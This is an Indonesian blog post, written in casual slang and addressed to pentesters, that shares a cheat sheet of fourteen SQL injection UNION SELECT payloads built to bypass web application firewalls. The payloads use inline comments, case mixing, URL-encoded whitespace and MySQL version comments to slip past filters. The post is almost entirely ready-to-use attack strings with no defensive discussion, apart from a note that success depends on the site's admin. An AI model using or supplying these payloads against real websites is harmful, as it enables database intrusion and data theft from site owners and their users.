Bypass Forbidden (WAF) @>Sql Injection

Sore para pentester :p
udah lama g update blog cupu ini..
bru ad wktu soalx ckckckc...

kali ini ane mau share beberapa cheat utk bypass WAF (Web Application Firewall) [nemu jg] wkwkwk
cekidott..

1. 1+Union+/*!select*/+1,2,3--
2. 1+/*!union*/+all+/*!select*/!+1,2,3--
3. 1+/**//*!union*//**//*!select*//**/+1,2,3--
4. 1+union++++all++++select/+1,2,3--
5. 1+/union+%23%0aselect/+1,2,3--
6. 1+/**/union/**/all/*!50000select*/+1,2,3--
7. 1+union+distinct+select+1,2,3--
8. 1+/*!union*/+/*!50000SELECT*/+1,2,3--
9. 1+UNION ALL/*!50000SELECT ALL 1 */+1,2,3--
10. 1+un/**/ion+se/**/lect+1,2,3-- 
11. 1+uni%0Bon+se%0Blect+1,2,3--
12. 1+UNunionION+SEselectLECT+1,2,3--
13. 1+UnIoN/**/SeLecT/**/1,2,3--
14. 1+un/**/ion+se/**/lect+1,2,3--

NB: tidak semuanya bsa di bypass dgn cheat diatas,.. semua tergantung admin web :)

#selesai